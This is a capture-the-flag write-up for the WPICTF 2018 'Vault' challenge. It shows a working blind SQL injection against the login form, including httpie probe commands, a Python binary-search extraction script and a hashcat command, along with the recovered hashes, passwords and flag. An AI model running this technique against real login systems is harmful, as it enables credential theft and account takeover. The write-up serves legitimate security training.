Writeup: WPICTF 2018 - Vault

In the page source code we saw this comment:

1
2
3
4
5
6
7
8
9
<!-- Welcome to the the Fuller Vault
- clients/clients.db stores authentication info with the following schema:

CREATE TABLE clients (
id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
clientname VARCHAR(255),
hash VARCHAR(255),
salt VARCHAR(255)
); -->

In style.css we saw a suspicious base64 string splited in two parts:

c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg

and

Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K

Which contained a possible implementation of the login query procedure to enter the Vault:

1
2
3
4
5
6
7
8
9
search = """SELECT id, hash, salt FROM clients WHERE clientname = '{0}' LIMIT 1""".format(clientname)
pointer.execute(search)

res = pointer.fetchone()
if not res:
return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res
calculatedHash = hashlib.sha256(password + salt)
if calculatedHash.hexdigest() != hash:

Using a SQLi we got an error response for an uncaught exception from SQLite.

Using specific funcion for SQLite we managed to get two different responses:

  1. http -v -f POST "https://vault.wpictf.xyz/login" clientname="Binam' AND substr(\"x\",1,1) = 'x' -- " password="password"

    • Invalid password for Binam' AND substr("x",1,1) = 'x' -- ! (OK)
  2. http -v -f POST "https://vault.wpictf.xyz/login" clientname="Binam' AND substr(\"x\",1,1) = '3' -- " password="password"

    • No such user in the database Binam' AND substr("x",1,1) = '3' -- ! (WRONG)

When in doubt… ¯_(ツ)_/¯ …use brute force

We got a blind SQLi for the clientname field!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import requests
from math import floor

url = "https://vault.wpictf.xyz/login"
correct = "Invalid password for"
wrong = "No such user in the database"

SQL = "Goutham' AND substr(hash,{},1) {} '{}' -- "

def sqli(position, operator, char):
data = {
"clientname": SQL.format(position, operator, chr(char)),
"password": "ASDSASDAS"
}
req = requests.post(url, data=data)
return correct in req.text


def blind(position, start, end):
mid = floor((end + start) / 2)
if sqli(position, "=", mid):
print(chr(mid))
return mid
if sqli(position, "<", mid):
blind(position, start, mid)
elif sqli(position, ">", mid):
blind(position, mid, end)


for i in range(1, 65):
try:
blind(i, 32, 128)
except Exception as e:
print(e)

Using the above script we dumped hash and salt for every user using a blind SQLi with binary search on common ASCII chars.

Using hashcat we bruteforced all the data:

hashcat -a 3 -m 1410 "ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b:leoczve" -o vault_crack.txt

Binam

1
2
3
4
> SALT: cseerlb
> HASH: 49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7
> PASSWORD: kqevkri
>

Login page:

Welcome back valid user! Your digital secret is: “https://www.youtube.com/watch?v=SRbhLtjOiRc

  • Gaines
    1
    2
    3
    4
    > SALT: leoczve
    > HASH: ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b
    > PASSWORD: bkrxweg
    >

Login page:

Welcome back valid user! Your digital secret is: “https://www.youtube.com/watch?v=dQw4w9WgXcQ

Goutham

1
2
3
4
> SALT: nepdrqs
> HASH: 6bad0bd9907898e3c7d6b2139241ac7591a4556b2f9fbc41ed15a31e6d2df738
> PASSWORD: hqhwhuz
>

Login page:

Welcome back valid user! Your digital secret is: “WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}”

YAY!!

Flag

WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}